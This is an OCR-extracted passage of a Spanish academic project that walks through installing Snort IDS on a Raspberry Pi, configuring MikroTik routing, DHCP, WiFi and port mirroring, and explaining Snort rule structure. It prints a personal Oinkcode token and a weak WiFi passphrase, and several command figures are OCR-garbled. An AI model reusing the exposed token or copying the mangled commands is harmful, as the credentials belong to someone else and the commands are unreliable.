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La ventaja de snort es que la tecnologia goza de una tasa de adopcién bastante amplia. Esto
representa remedios rapidos para las amenazas emergentes. Por ejemplo, Equifax, una compaiiia
de tecnologia, pudo solucionar un problema de vulnerabilidad gracias a una Snort Rule. Este

parche estuvo disponible un dia después de que se anunciara esta amenaza” (Editorial, 2019)

Para la instalacion de Snort como primer paso se hace uso del comando de la figura 22, el cual
seglin el cofundador de Codection “Actualiza la lista de paquetes disponibles y sus versiones,
pero no instala ninglin paquete. Esta lista la coge de los servidores con repositorios que tenemos

definidos en Raspbian” (Gil, 2013)

Figura 22. Comando apt- get update para actualizacion de paquetes. (Autoridad propia)
Posterior a esto es necesario preparar el servidor haciendo la instalacion de todas las bibliotecas

que son requisitos previos para el correcto funcionamiento de Snort, este proceso se realiza con los

comandos que aparecen en la figura 23, en caso de requerir confirmacion de la instalacion es

necesario digitar “Y” y pulsar enter.

Figura 23. Comandos para la instalacion de bibliotecas para el uso correcto de Snort. (Autoridad
propia)
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Aunque para la instalacién de la biblioteca libnghttp2 se debe utilizar el comando de la figura
24 ya que no se encontraban los paquetes compatibles para la descarga e instalacién de la libreria
puesto que la arquitectura de Raspberry es en “arm” y la arquitectura “—~dev”’ no siempre funciona

a pesar de que Raspbian sea en base Debian.

v ® AT —CE inatall l1ibnahttn?—14 +*armhf
rootEraspberrypi:~s apt—-g 31 K CF

Figura 24. Comando de instalacién biblioteca 1 ibnghttp2- 14:armhf. (Autoridad propia)
Después de la instalacién de los requisitos previos se procede a crear una carpeta o directorio

llamada ““snort_src” con el comando presentado en la figura 25, posterior a esto (Ruostemma, 2019)

cuenta que “Snort utiliza algo llamado Biblioteca de adquisiciéon de datos (DAQ) para hacer

llamadas abstractas a las bibliotecas de captura de paquetes”

Para descargar la biblioteca de adquisicion de datos (DAQ) se hace uso del comando de la figura

26, luego se hace la extraccion del cddigo fuente con el comando presentado en la figura 27.

rootEexrasSpberrypl:~# Ca snort

Figura 25. Creacidn de directorio snort_src. (Autoridad propia)

berryvpi:~/snort srcf wget https: WWW.Snort.org/downloads/snorc/dag-2 W - A

6. Descarga de l biblioteca de adquisicién de datos de Snort. (Autoridad propia)

Figura 27. Extraccion cédigo fuente. (Autoridad propia)

Luego de la descarga del DAQ se procede a su instalacion la cual requiere el siguiente proceso,
primero que todo es necesario dirigirse al directorio dag-2.0.6, para de esta manera ejecutar el script
de configuracion utilizando sus valores predeterminados, y asi mismo compilar el programa para
finalmente instalar la biblioteca de adquisicion de datos, este proceso de instalacion se lleva a cabo

con los comandos presentados en la figura 28 en su respectivo orden.

Figura 28. Instalacion de la biblioteca de adquisicién de datos. (Autoridad propia)



Por medio del comando de la figura 29 se hace la descarga del Snort en su version actual, ya

que al no utilizar su ultima versién va a generar un error.

https://www.snort.org/downloads/snort

Fiu 29. Comando para la descarga del Snort. Atoridad propi) -

Al haber realizado los procesos anteriores de manera exitosa ya se tiene descargado el software
Snort, por lo tanto se procede a su instalacion, para esto se deben ejecutar una serie de comandos
que se ven en la figura 30, los cuales sirven primero para extraer los archivos, después dirigirse al
directorio llamado ‘“cd-snort-2.9.15”, y asi configurar la instalacion del archivo fuente o el
sourcefile habilitado para poder compilar, cabe resaltar que es un proceso demorado pero gracias

a estos pasos previos se podrd instalar el Snort con el comando de la figura 31.

Figura 31. Instalacion del Software IDS Snort. (Autoridad propia)

Configuracion de IDS

En este momento teniendo instalado el software Snort se procede con la configuracion donde se
editardn algunos archivos de configuracion comenzando por la actualizacién de bibliotecas
compartidas utilizando el comando de la figura 32 donde segun del blog de Linux 10 Hacks
“ldconfig se usa para crear, actualizar y eliminar enlaces simbélicos para las bibliotecas

compartidas actuales basadas en los directorios 1ib” (Ramesh, 2019)

Figura 32. Comando para actualizacién de bibliotecas. (Autoridad propia)
Snort queda instalado en el directorio (/usr/local/bin/snort) y se sabrd con el comando de la

figura 33, se procedera con crear un enlace simbdlico del Snort con el comando de la figura 34.

Figura 33. Comando para conocer la ubicacion de Snort. (Autoridad propia)
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Figura 34. Comando para crear un enlace simbdlico de Snort. (Autoridad propia)
Adicionalmente se requiere un modo seguro para la inicializacién del Snort en Raspbian lo cual
se realizard creando un grupo de usuarios el cual se llamard “snort” con el fin de que los usuarios
dentro de este grupo se ejecuten bajo el dominio, esto se realizard con el comando que se evidencia
en la figura 35. Posterior a esto se requiere crear un usuario para el sistema operativo sin privilegios
administrativos al que se le asignara el nombre “snort” y a su vez asignandolo al grupo “snort”

previamente creado, esto se realizara con el comando evidenciado en la figura 36.

Figura 35. Comando para crear grupo snort. (Autoridad propia)

Culminadas las creaciones de usuarios y grupos de usuarios se procede con la creacion de
algunos directorios donde se albergard la configuracién de Snort estos directorios se llamaran
respectivamente “rules — snort - snort_dynamicrules” y se creardn con el comando que se ve en la
figura 37. Luego de eso se le asignan los permisos a cada uno de esos directorios con los comandos

que se evidencian en la figura 38.

“¥
- -
b
$
$

-4

Figura 38. Comando para asignar permisos a directorios de snort. (Autoridad propia)
Seguido se configurard el preprocesador de reputacion del snort con el fin de crear nuevos

archivos para las blacklist/whitelist que segun el sitio web oficial de Snort.

“El preprocesador de reputacion proporciona capacidades bésicas de lista negra / lista blanca de
IP, para bloquear / descartar / pasar trafico de las direcciones IP enumeradas. En el pasado,

usamos reglas estdndar de Snort para implementar el bloqueo de IP basado en reputacién. Este
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preprocesador abordard el problema de rendimiento y facilitard la gestion de la reputacion de
IP. El preprocesador de reputacion se ejecuta antes que otros preprocesadores” (Snort, Snort,

2019)

Este proceso se realiza con los comandos de la figura 39, seguido a esto se deben copiar los
ficheros de configuracién que quedaron en el directorio de descargas a los directorios previamente

creados con el comando de la figura 37, este proceso se realizara con el comando de la figura 40.

Figura 40. Comando para copiar los archivos de descargas. (Autoridad propia)

Lo siguiente serd realizar la descarga de reglas de detecciéon que Snort seguird para la
identificacién de posibles amenazas y esto se puede realizar obteniendo un cédigo el cual al
registrarse de forma gratuita en el sitio web de Snort tendrd el privilegio de obtenerlo, a este codigo
en la comunidad de Snort se le conoce como “Oink” y basicamente permite descargar los conjuntos
de reglas de usuarios registrados, para este proyecto el Oinkcode asignado por Snort es
(47522a6db35497010b55c6d314154578bd59b6e68) el cual se obtiene siguiendo los pasos del
anexo “1. Obtener Oinkcode”. Una vez obtenido el Oinkcode se procede a la descarga de las reglas
con el comando de la figura 41 donde se puede apreciar el Oinkcode asignado por Snort, luego de
culminar la descarga lo siguiente es extraer estas reglas en el directorio de configuracién “snort”
con el comando que se evidencia en la figura 42, donde al final se obtendr4 los ficheros y directorios

que se pueden apreciar en la figura 43.

Figura 41. Comando para descargar reglas de Snort. (Autoridad propia)

Figura 42. Comando para extraer las reglas de Snort. (Autoridad propia)
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Figura 43. Ficheros y directorios obtenidos por la descarga del Oinkcode. (Autoridad propia)
Dentro de las reglas extraidas y descargadas se incluye una gran variedad de reglas utiles para
deteccion y preconfiguracion que se irdn viendo a lo largo del proyecto. Antes de esto se requieren
configuraciones previas para modificar pardmetros como la variable que se utilizara en las reglas
de deteccién a la que en este caso se le asignard el nombre de “HOME_NET” o también el
segmento de red el cual serd objetivo claro de andlisis y proteccion, estos pardmetros se modificaran
en el fichero “snort.config” ubicado en el directorio de configuracién ’snort” al que se accederd
con el comando de la figura 44. El cambio de variable se ve en la figura 45, mientras que el cambio
de segmento se aprecia en la figura 46. Ademds de esto en este mismo fichero se asignardn las
carpetas previamente creadas en la figura 37, para ser objeto de configuracién y de andlisis esto

deberia verse como en la figura 47.

Figura 45. Cambio de variable en el fichero “snort. conf”. (Autoridad propia)

Figura 46. Cambio de segmento en el fichero “snort.conf”. (Autoridad propia)
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Figura 47. Asignacion de carpetas a las configuraciones de Snort. (Autoridad propia)
Seguido de estas preconfiguraciones en el mismo fichero “snort.conf” en la seccion identificada
como “Step 6” la cual se ve resaltada en la figura 48 se configura la salida unified2 que segun la

pdgina oficial de Snort funciona de la siguiente manera.

“Unified2 puede funcionar en uno de los tres modos, registro de paquetes, registro de alertas o
registro unificado verdadero. El registro de paquetes incluye una captura de todo el paquete y se
especifica con log_unified2. Del mismo modo, el registro de alertas solo registrard eventos y se
especifica con la alerta unificada2. Para incluir ambos estilos de registro en un tnico archivo

unificado, simplemente especifique unificado2” (Snort, Snort, 2019)

Esta configuracion tiene como fin un registro del Unified2 con el nombre del fichero “snort.log”
donde basicamente se apreciard el log de andlisis en un espacio de tiempo requerido para asi llevar
una base de datos de los registros del IDS y acudir a ellos en el momento que se les necesite, esta

configuracion deberia quedar como en la figura 48.

Figura 48. Configuracién del Unified2 del Snort. (Autoridad propia)
En el mismo fichero “snort.conf” al final de este, se encontrard una lista de conjuntos de reglas
incluidas como se evidencia en la figura 49, donde basicamente se suprimiré el cardcter “#” en cada

una de las reglas locales, el cual tiene como funcién comentar las lineas de codigo introducidas en



un fichero para que a su vez quede como una linea informativa y no una funcidn, esto con el
objetivo de que Snort trabaje con cualquier regla personalizada dejando las lineas de c6digo como

instrucciones como en la figura 49.

Figura 49. Lista de conjuntos de reglas incluidas sin comentar. (Autoridad propia)
Ejecucion de Snort

A partir de aqui Snort ya estd configurado y listo para ejecutarse y para validar dicha
configuracion y la correcta instalacion se utilizard el parametro “-T” que basicamente habilita el
modo de pruebas en la ejecucion de Snort, esto se realizard con el comando que se evidencia en la
figura 50, donde como resultados se enviard un reporte a la ventana de comandos donde se podra
apreciar la inicializacion del software IDS Snort como se puede ver en la figura 51, una vez
culminado su proceso reportard la satisfactoria validacién de configuracién del Snort y saldra

automdticamente del proceso como se puede evidenciar en la figura 52.
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Figura 50. Comando para ejecucion en modo de prueba de Snort. (Autoridad propia)

Flgura Inicializacién de pruebas de Snort. (Autoridad propia)

Figra 52. Finalizacién de ruebas Snort. (Autoridad propia)

Para iniciar Snort se requiere la asignacién de al menos una regla personalizada, para esta
validacion se configuraron un par de reglas como se evidencia en la figura 53, las cuales se
detallaran a profundidad mds adelante, sin embargo, es importante aclarar que estas reglas se
configuran en el fichero “local.rules” ubicado en el directorio “/etc/snort/rules/” y se ingresara a

este fichero con el comando de la figura 54.

Figura 53. Reglas para validacion del funcionamiento de Snort. (Autoridad propia)
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Figura 54. Comando para ingresar al fichero local. rules. (Autoridad propia)

Configuradas un par de reglas y validada la configuracién del Snort ya se puede proceder con
la ejecucién del IDS la cual se realizard con el comando de la figura 55 donde basicamente se esta
dando la instruccién “-A console” (ejecutar la accidon consola), “-i wlan0” (en la interface
Wireless), “-u snort” (con el usuario snort), -g snort (con el grupo snort), “-c /etc/snort/snort.conf
(con el fichero de configuracién “snort.conf”). A lo que se obtendria una inicializacién como se

puede ver en la figura 56.

Figura 56. Ejecucion del Snort. (Autoridad propia)
Una vez iniciado se podran ver los reportes de ataques que como en la figura 57 se muestra
detalladamente. Donde se encuentra informacién como el tag del ataque, el protocolo de
comunicacion, la IP de origen, la IP de destino la fecha con su respectiva hora y su prioridad. El
ataque que se encuentra en la figura 57 se estéd presentando debido al tinel SSH generado por el
aplicativo PuTTY con el que se administra la Raspberry de manera remota pues detecta un
intento de conexion por TCP/IP. Para salir del anédlisis se puede presionar “Control + C” y

expulsard la ejecucion del Snort.
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Figura 57. Reporte de ataques en Snort. (Autoridad propia)
Configuracion del MikroTik

Fue necesario el enrutamiento y configuracion de la red WLAN por medio de los dispositivos

MikroTik gracias a las enormes prestaciones que tienen y los conocimientos previos con los que

se contaban, segun la pagina oficial de MikroTik.

“MikroTik es una empresa letona que se fund6 en 1996 para desarrollar enrutadores y sistemas
ISP inaldmbricos. MikroTik ahora proporciona hardware y software para conectividad a Internet
en la mayoria de los paises del mundo. Nuestra experiencia en el uso de hardware de PC estandar
de la industria y sistemas de enrutamiento completos nos permitié en 1997 crear el sistema de
software RouterOS que proporciona una amplia estabilidad, controles y flexibilidad para todo
tipo de interfaces de datos y enrutamiento. En 2002 decidimos hacer nuestro propio hardware,
y nacio la marca RouterBOARD. Tenemos revendedores en la mayor parte del mundo y clientes
en probablemente todos los paises del planeta. Nuestra empresa estd ubicada enRiga, la capital

de Letonia, y cuenta con mds de 280 empleados” (MiroTik, 2019)

Dentro de sus prestaciones y ventajas las cuales favorecian la configuracion de una red WLAN
a la cual se le pudiese aplicar un IDS dentro de sus interfaces para el correcto andlisis del trafico
que es el principal objetivo se encontré la simplicidad en su manipulacién y configuracion la cual
se puede realizar de manera simple en un aplicativo conocido como Winbox proporcionado por

MikroTik el cual segtin Rodrigo Anrrango.

“Winbox es una pequefia aplicacion que nos permite la administracion de Mikrotik RouterOS
usando una interfaz grafica. Incluye una sofisticada tecnologia para realizar estas conexiones
basada en el sistema operativo RouterOS. Este software permite a sus usuarios realizar
conexiones via FTP, telnet y SSH. Incluye también una API que permite crear aplicaciones

personalizadas para monitorizar y administrar.” (Anrrango, 2014)

Ademas de eso MikroTik permite de manera simple la adopcién de un canal de servicios de

internet y segmentacion de red puesto que ofrece la configuracion mediante Winbox de un
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direccionamiento dedicado a la interface que asume los servicios de internet, otro para la
Raspberry la cual porta el IDS y otro direccionamiento dedicado a la WLAN a la cual se le debe
asignar un DHCP Server para la entrega del pool de IP a los dispositivos autenticados en la red
WiFi. El dispositivo MikroTik RB951Ui-2HnD el cual fue asignado como router del proyecto
cuenta con las opciones de configuracion requeridas como la segmentacion de red la cual se
realiz6 con el apartado “Addresses” donde bdasicamente se asigna la direccion IP que el
dispositivo adoptara dentro de la red, la interface a la que se le otorgara dicha red y la direccion
IP de red, en la figura 58 se puede apreciar esta configuracion donde ademads de eso se le asigno
un tag para el reconocimiento de la interface. Culminada esta configuracion el router crea
automdticamente el enrutamiento en el apartado de “Routes” como se ve en la figura 59 donde
basicamente hace la entrega o asigna la direccion que tendrd la interface y la direccién IP, se
puede ver como las interfaces 1, 2 y 3 son entregadas respectivamente a sus IP de red las cuales se
configuraron previamente en el apartado “Addresses” no obstante se requiere crear una ruta la
cual se puede apreciar resaltada en la figura 59, esta ruta estd enviando la puerta de enlace o
Gateway de los servicios de internet hacia 0.0.0.0/0 que no es una IP asignable, generalmente es
interpretada como “toda la internet” o cualquier direccion IP, se utiliza con mds frecuencia como
la ruta predeterminada para el host o enrutador, de modo que la puerta de enlace asignada por el

ISP apuntara hacia esta ruta predeterminada como se aprecia en la figura 59.

Address List =] E3

L o =T
Address Metwork Interface
o WLAN
o 192.168.10.1/24 152.168.10.0 etherd
0 105 - Snort
o 152.168.5.1/24 152.168.5.0 ether?
ISP
o 10.10.110.205/24 10.10.110.0 etherl
" »
Jitems

Figura 58. Address List. (Autoridad propia)
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Figura 59. Route List. (Autoridad propia)
En esta posicion de la configuracion el router MikroTik ya esta recibiendo un canal de internet
y estd segmentando la red para dos interfaces, la del IDS la cual adopto el direccionamiento
192.168.5.0/24 y 1a de la red WLAN la cual adopto el direccionamiento 192.168.10.0/24 como se
puede ver en la figura 58, no obstante la propagacion de internet sobre estas sub redes requiere un
NAT en la interface 1, la cual fue asignada para el ISP, este NAT segin el sitio web de

SPEEDCHECK funciona de la siguiente manera.

“A través de un sistema NAT, estas direcciones privadas se traducen en una direccion IP puiblica
cuando las peticiones salientes de los dispositivos de red se envian a Internet. Un proceso inverso
ocurre cuando los datos entrantes, normalmente como respuesta a peticiones especificas, se
envian a una red local. En este caso, el NAT cambia la direccion IP publica por la direccién IP
privada del dispositivo especifico al que se dirige el paquete de datos. La direccion IP publica
es utilizada repetidamente por el enrutador que conecta los ordenadores a Internet” (speedcheck,

2019)

Es decir que en vista de que en esta interface estd llegando un direccionamiento publico el cual
entrega el ISP para la salida a la WAN se requiere una traduccion de este enmascaramiento de IP
Publica a IP Privada y esta configuracion se puede realizar de manera simple gracias al MikroTik
en el apartado “Firewall” en la casilla “NAT” como se puede ver en la figura 60, donde es
importante cambiar los pardmetros de (Chain, Out. Interface y Action) que respectivamente estan

diciendo que todo lo que se origina del etherl sea enmascarado como se evidencia en la figura 61.
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Figura 60. Apartado Firewall — NAT. (Autoridad propia)
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Figura 61. Configuracion del NAT. (Autoridad propia)

En este punto el router ya tiene servicios de internet, y estd entregando internet en cada una de
las subredes creadas, sin embargo, los dispositivos conectados a estas interfaces requeririan de un
direccionamiento estdtico configurado en sus respectivas interfaces de red, ya que el router atin no
tiene configurado un servidor DHCP, pero aqui aparece otra de las grandes prestaciones de un
router MikroTik, pues permite de manera simple asignar un DHCP Server a la interface que se
requiera, para este caso la interface 3 o también conocida como ether 3 ya que esta interface es la
que entregara la WLAN y los dispositivos que requieran autenticarse a la red WiFi corporativa
necesitaran adoptar una IP de manera dindmica, mientras que la interface 2 o ether 2 estard asignada
para la Raspberry o IDS, la cual ya tiene y requiere un direccionamiento estdtico para su
administracion. Para la asignacion y configuracion del DHCP Server se requiere seguir los pasos
que se pueden apreciar en la figura 62, estos pasos se pueden trabajar en el apartado “DHCP Server”
del MikroTik, al final de dicha configuracion se tendrd un DHCP Server asignado a la interface 3
con un pool de IP y una apartado de red donde se podrd ver la IP de la red, la puerta de enlace y

los DNS entregados a los host, deberia verse como en la figura 63.
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DHCP Setup =l B3 || oHCP Setup
DHCP Server Interface: [ETEEIN + |

1 | Back || Mext || Cancel|

DHCP Setup DHCP Setup
Select pool of ip addresses given out by DHCP server
Gateway for DHCF Networ: |[EXRLHRINE Addresses to Give Out: | RIS ERRTRR RS
3 | Back || Net || Cancel | I | Back || Net || Cancel |
DHCP Setup DHCP Setup
DNS Servers: |TEEE |# || Lease Time: NI |

| Back || Ned || Cancel |

6 . Back |[ New || Cancel |
| |

Figura 62. Configuracion del DHCP Server. (Autoridad propia)

Asignacion de interface para el DHCP Server en cuestion

Direccién IP de red

Puerta de enlace para los hosts autenticados en la WLAN del ether 3
Pool de IPs o rango para la asignacion de IPs a los hosts.

Servidores DNS que resolverdn los hosts autenticados en la WLAN del ether 3

S ok wN =

Tiempo de arrendamiento de IPs

La puerta de enlace funcionara para los hosts como la direccion IP por la cual saldrdn a lared y
a su vez a internet, mientras que el pool de IPs serd el rango de IPs el cual el DHCP podra entregar
a los hosts que estan en su red. E1 DNS Servers es “El proceso de traduccion de los nombres de
dominio en direcciones numéricas que las maquinas puedan entender es lo que se conoce como
resolucién de nombres” (Guide, 2019) es decir resolver o traducir las URL a los servidores donde

se encuentran alojados los sitios web, para este caso “8.8.8.8” que son los DNS de Google y tienen
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un gran campo de cobertura. Por ultimo, el tiempo de arrendamiento que es el tiempo donde el

DHCEP ser cerciora de sus actuales conexiones e IPs establecidas y operativas.

DHCP Server

DHCF |Netwurks Lleases Options Option Sets  Alerts

+ =] | DHCP Corfig || DHCP Setup |

|Name |Irrterfa... £ |Hela1_.r |Lease Time |Address Poel |Ac|d AH...| |v
dhcp1 etherd 00:10:00 dhep_pool( no
1item

DHCFP Server

DHCP  Metworks |Leases Options  Option Sets  Alerts

[+][=] =] 7]

|Mdress 4 |Gatewa'_.r |DNS Servers |"
152.168.10.0/24 152.168.10.1 33888844
‘| | [
1item

IF Poal = E3

Pools | Uszed Addrezses

[+][=] [=] [7]

|Name |Addresses £ |Next F'nnl|"
cdhep_pooll 152.168.10.2-192.168.10.254 none

‘| | »
1item

Figura 63. DHCP Server configurado. (Autoridad propia)

Configurada correctamente la salida a internet y la entrega de servicios a cada una de las
interfaces lo que procederia seria configurar la WLAN o Wireless, para la cual también se tomo
provecho de un dispositivo MikroTik en este caso un RouterBOARD 941-2nD el cual bésicamente
adopt6 el papel de Access Point (AP) pues tiene la gran ventaja de comportarse como Switch,
haciendo un bridge o puente en cada una de sus interfaces incluida la interface wlan y es esta la
configuracion realizada en este MikroTik como se puede apreciar en la figura 64, donde se
evidencia la asignacion de las interfaces wlanl, ether2 y ether] al bridge propagando asi sobre ellas
el mismo tréfico, comportindose como un HUB. La interface 1 es asignada al bridge pues recibira

el DHCP Server propagado por el router desde la interface 3 del mismo, mientras que la interface
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2 es simplemente un puerto de validacion de servicios ethernet pues la interface que realmente

tiene relevancia es la wlanl que es el nucleo del proyecto, el andlisis de una red WiFi.

Bridge = E3
Bridge | Pots  WLAMNs MS5STls Port MST Ovemides Fiters MNAT Hosts MDB
[#[=] [][]
| Name | Type L2 MTU |Tx R Tx Packet {p/s) |Rx Packet [p/s) | v
R +-hridge 1 Bridge 1558 0 bps 10.9 kbps 0 17
« »
1 item out of &

Bridge
Bridge Ports |‘u"L.P|.Ns M5Tls  Port MST Qvemides Fitters MAT Hosts MDB

[#][=] [«][=]
# | |Irrterface |Elfidge |Hurimn |Tn.|5'.te4v
0 +twlan bridge1 no
1IH stethes bridge1 no
2H  ftether bridge1 no
« | »
Jitems

Figura 64. Configuracién del bridge. (Autoridad propia)

Una vez configurado el bridge lo siguiente serd configurar la red WiFi o la interface wlanl, la
cual gracias al aplicativo Winbox en el apartado “Wireless” permite una configuracion simple, la
interface ya se encuentra creada solo requiere el cambio de las secciones resaltadas en la figura 635,
como el “Mode” que es el modo en el que se comportara la interface en este caso como ya se ha
mencionado varias veces es simplemente un AP que estd dentro de un bridge, ademds de eso la
frecuencia que se dejara automdtica para que se comporte segun los dispositivos autenticados en la

red WiFi, luego el SSID que es el nombre de la red WiFi como tal, seguido el protocolo que para

este caso es el protocolo 802.11 y segtin el articulo del noticiero Network World.

“El estdndar 802.11 es una estdndar establecido por IEEE para la certificacion de productos
WiFi este estdndar codifica las mejoras que aumentan el rendimiento y el alcance inaldmbrico,

asi como la disponibilidad de nuevas frecuencias. También abordan las nuevas tecnologias que

reducen el consumo de energia” (networkworld, 2018)
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Y por ultimo se configura el perfil de seguridad el cual se crea en la casilla de “Security Profiles”
del apartado “Wireless” en el Winbox como se evidencia en la figura 66, donde se le asignara un
nombre al perfil, en este caso “profile 1” y un key o contrasefia para cada uno de los tipos de

autenticacién que respectivamente son WPA PSK y WPA2 PSK y que segin el articulo de

<

Acrylic.

“Una red WiFi WPA-PSK dispone de una contrasefia conocida por todos y cada uno de los
clientes que se conectan a la red WiFi. Es la configuracion de red mads utilizada en los routers

WiFi que los ISPs facilitan con sus conexiones de ADSL/Cable/Fibra 6ptica” (Acrylic, 2014)

“WPA2-PSK. WPA2 es el nuevo estindar de seguridad WiFi que incorpora algunas mejoras
para hacerlo més resistente a algunos ataques conocidos. con WPA?2 las contrasefias se pueden
seguir intercambiando cdmo un secreto compartido (PSK) en las redes domésticas™ (Acrylic,

2014)

Las demds configuraciones las adopta de manera automadtica, cabe aclarar que cada una de las
opciones seleccionadas son ofrecida por MikroTik y las que son modificadas se cambian con el fin

de dar un correcto funcionamiento de la red WiFi para el proyecto en cuestion.

Interface <wlan1> = E3
General 'Wireless | Data Rates Advanced HT WDS  Nstreme _
I Mode: ¥ |
Band: |2GHz-B/G +*
Apply
Channel Width: |20MHz ¥

IFrequency: auto ¥ MHZI Disable
I 55ID: |Raspbemy ‘I Comment

Radio Name: |6C3B6B1E0856 Simple Mode

Secan List: |defautt LA Torch

L]

Bl

| wireless Protocal: |802.11 WPS Accept

ISecuri’ry Profile: |profile1 WPS Client

+

WPS Mode: |push button Setup Repeater

L]

Frequency Mode: |manuaHxpower

Freq. Usage...

|

Country: |no_country_set

+

Installation: |any Aligni...

Antenna Gain: |0 dBi Sniff ..

5
WMM Suppert: |disabled ¥ S

Bridge Mode: |enabled FETRTTIETT

Figura 65- Configuracion de red Wi Fi. (Autoridad propia)



Security Profile <profile 1
General | RADIUS EAP  Static Keys

i

MName: Cancel

Mode: |dynamic keys * Apply

Authentication Types: v WPAPSK |+ WPAZ PSK
WPA EAP WPAZ EAP

Unicast Ciphers: |v| aes ccm thip Copy

Comment

Group Ciphers: |v| aes ccm tkip Remove

WPA Pre-Shared Key| | 123456789
WPAZ Pre-Shared Key:| | 123456783

Supplicant ldentity:

Group Key Update: |00:05:00

-

Management Protection: |allowed

Management Protection Key:

Disable PMKID

Figura 66. Configuracion de Security Profile. (Autoridad propia)
Aqui los dispositivos MikroTik tanto el router como el denominado “AP” ya estdn entregando
una red WLAN con su respectivo DHCP la cual otorga servicios de navegacién bajo la
autenticacion en la red WiFi con el SSID: Raspberry y su respectivo Key: 123456789 la cual se

puede ver en la figura 67.

< Wi-Fi Wi-Fi Directo

ACTIVADO -,

RED ACTUAL

~—~  Raspberry
"8  Conectado

REDES DISPONIBLES

—

=5 HEZGUEST

=5 abordofast

Figura 67. Red Wi Fi. (Autoridad propia)




No obstante, no solo por esto se acudié a MikroTik pues estos router cuentan con un servicio
bastante importante para el proyecto, el cual permite el 6ptimo funcionamiento del IDS y cumbre
la gran necesidad del proyecto que es analizar mediante el IDS el tréfico de la red WiFi propagada
por el MikroTik denominado “AP”. A este servicio se le conoce como “Port Mirroring” o “Puerto

Espejo” y segun el blog del sitio web Enredado con redes.

“Port Mirroring o Puerto Espejo es la capacidad de un switch para poder replicar el trafico que
pasa por dos o mds puertos y enviarlo por un tercero... con esta funcionalidad lo que
conseguimos es que el switch haga una copia de dicho tréfico y lo envie por un tercer puerto.

(Con qué finalidad? Por ejemplo, si en este ultimo conectamos un analizador de trafico,
podremos estudiar todo aquello que suceda entre “HMI” y “PLC” y detectar posibles anomalias

sin interferir entre el flujo de comunicaciones” (redes, 2017)

Este servicio lo presta el MikroTik RB951Ui-2HnD en el apartado “Switch” del Winbox y su
configuracion es muy simple, al acceder ya se encuentra creado el puerto espejo como se puede
apreciar en la figura 68 al que le es asignado por defecto el nombre “switch1” lo unico que requiere
es asignar los puertos que adoptaran la funcién de espejo como se puede ver en la figura 69, donde
basicamente esta asignando el “Mirror Source” o el puerto que serd replicado o reflejado, para este
caso la interface 3, la cual propaga le red WLAN y luego se le asigna el “Mirror Target” o la
interface que vera el trafico, para este caso la interface 2 la cual tiene consigo el IDS el cual tiene

como objetivo el andlisis de la red WiFi es decir la interface 3.

Switch =] E3

Switch | Port  Port lsolation  Host  WLAMW  Rule

T

Mame Type Mirar Source | Mimor Target -
i switch1 Atheros 8227
1item

Figura 68. Port Mirroring. (Autoridad propia)
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Switch <switch1>
Name: oK
Type: |Atheros 8227 Cancel
Mimor Source: [sther3 [ & [ apply
Miror Target: |ether? | ¥ | =

[] Switch All Ports

Figura 69. Configuracion de Port Mirroring. (Autoridad propia)

La instalacion en general y los equipos en cuestion se pueden apreciar en la figura 70, ademas
de eso en la figura 71 se puede apreciar la topologia de la red para el proyecto. En las dos figuras
se encuentra el Router MikroTik 951Ui-2HnD, el AP MikroTik RouterBOARD 941-2nD, El IDS
Raspberry Pi 3 Model b v1.2 y un host que para este caso es una laptop Lenovo V310- 14iSK la

cual esta autenticada en la red WiFi.

Figura 70. Instalacion general. (Autoridad propia)
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AP
Mikrotik ROUTER

Router8CARD

2 Mikratik
943-Znl 931Ui-2HnD T
(S i ' i

Ether 3 Ether 1

Ether 2

COMFIGURACION ROUTER

PUERTO |  DESCRIPCION P
ETHi | ISP-INTERNET 10.10.110.205/24 IDS
ETH2 DS - Snort 1821625124

. i Dy
ETH3 AP - WLAN 192.168.10.1/24 Raspberry Pi 3
Maodel BV1.2
HosT1 LAPTOP 192 168.10.247

Figura 71. Topologia de Red. (Autoridad propia)

Configuracion de reglas al Snort
Para el funcionamiento adecuado del Snort es necesaria la configuracion de las reglas que sirvan
para realizar acciones contra los diferentes ataques detectados, aunque hay reglas estandar que se
pueden descargar para el Snort es mejor crear reglas especificas para el software y asi mismo

minimizar los falsos positivos que pueden aparecer.

Las reglas personalizadas de Snort se ubican en el directorio previamente configurado y
asignado con el nombre “rules” en este estd ubicado un fichero el cual adopta el nombre de
“local.rules” que es donde se digitan estas reglas personalizadas como se aprecia en la figura 53,

para acceder a este fichero se utiliza el comando que se encuentra en la figura 54.

Ya ubicados en el fichero se procede a estructurar las reglas segin la necesidad u objetivo que

se le tiene al IDS dentro de la red LAN.

Las reglas de Snort se pueden dividir en 2 partes: la cabecera que establece la accion, de la regla,
el protocolo IP, méscaras de red, puertos de origen y destino del paquete o direccién de la
operacion; por otro lado se tiene la seccion de opciones que no es mds que los mensajes de
informacién necesaria para tomar una decision en cuanto se detecte el ataque para el cudl fue

establecida la regla, la estructura de la cabecera de una regla de Snort se puede evidenciar en la

Tabla 1.



Tabla 1.
Estructura de la cabecera de una regla Snort. (Autoridad propia)
Estructura de una regla Snort

Accion HProtocolo ‘[Red de Origen Puerto de origen ‘Direccic’)n ‘Red Destino HPuerto Destino
alert  tep SHOME_NET any > any 22

Nota. En esta tabla se muestra la estructura de la cabecera de una regla Snort.

Cuando se habla de la accion se refiere a indicar la accién que se va a realizar sobre dicha regla
y la cual tiene las opciones contempladas en la Tabla 2.

Tabla 2.
Opciones de la accion de una regla Snort. (Autoridad propia)
Acciéon  Funcién

alert Genera una alerta y registra el paquete posteriormente
log Registra el paquete
pass Ignora el paquete

activate  |Activa la alerta y llaman a una regla dindmica

dynamic  Se pone en funcionamiento cuando se activa una regla anterior

drop Se utiliza en modo inline y le indica a iptables que elimine el paquete
reject Se utiliza en modo inline y le indica a iptables que rechace el paquete
sdrop Seutilizaenmodoinline y leindicaaiptables queelimineel paquete, perono loregistre

Nota. En esta tabla se muestran las opciones de las diferentes acciones que se pueden utilizar en una regla Snort.

Por otra parte, se encuentra el protocolo que para el caso de la tabla 1 es el protocolo de
transporte TCP, sin embargo, ademads de este se puede utilizar el protocolo ICMP y UDP que segtin

Franklin Matango en su blog para Server VolP.

“TCP es un protocolo de transporte que se transmite sobre IP, descrito en la RFC 793. TCP
ayuda controlando que los datos transmitidos se encuentren libre de errores y sean recibidos por
las aplicaciones en el mismo orden en que fueron enviados. Si se pierden datos en el camino

introduce mecanismos para que estos datos sean reenviados por el emisor.

“UDP Es un protocolo simple, sin conexion descrito en la RFC 768. Se diferencia con TCP en
que a este protocolo no comprueba si los datos llegan con errores o no y tampoco si llegan en
secuencia. Cuenta con la ventaja de proveer la entrega de datos sin utilizar muchos recursos.

Aplicaciones que utilizan UDP” (Matango, 2016)



